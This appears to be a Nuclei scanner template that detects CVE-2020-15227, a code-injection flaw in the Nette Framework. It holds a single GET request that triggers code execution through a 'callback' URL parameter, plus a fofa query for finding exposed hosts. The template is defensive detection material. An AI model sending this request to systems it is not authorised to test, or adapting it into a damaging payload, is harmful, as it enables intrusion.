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id : CVE-2020-15227
info :
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name : Nette Framework - Remote Code Execution
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author : becivells
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severity : critical
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description : Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation : |
Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.
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reference :
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- https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
- https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
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- https://nvd.nist.gov/vuln/detail/CVE-2020-15227
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- https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html
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- https://packagist.org/packages/nette/application
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-15227
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cwe-id : CWE-94,CWE-74
epss-score : 0.97285
epss-percentile : 0.99849
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cpe : cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 1
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vendor : nette
product : application
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fofa-query : app="nette-Framework"
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tags : cve2020,cve,nette,rce
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http :
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- method : GET
path :
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- "{{BaseURL}}/nette.micro/?callback=phpcredits"
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matchers-condition : and
matchers :
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- type : word
part : body
words :
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- "PHP Credits"
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- type : word
part : header
words :
- "Nette Framework"
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# digest: 4b0a00483046022100ac87b598c9067d033995e435c1dcfe2b0a70b19bfcf75c66a3f4d747c6eeeccf022100f651a9eeb8c2b466377b7f3e42ef74086dbc33dbe6c116e69b13f39f71622087:922c64590222798bb761d5b6d8e72950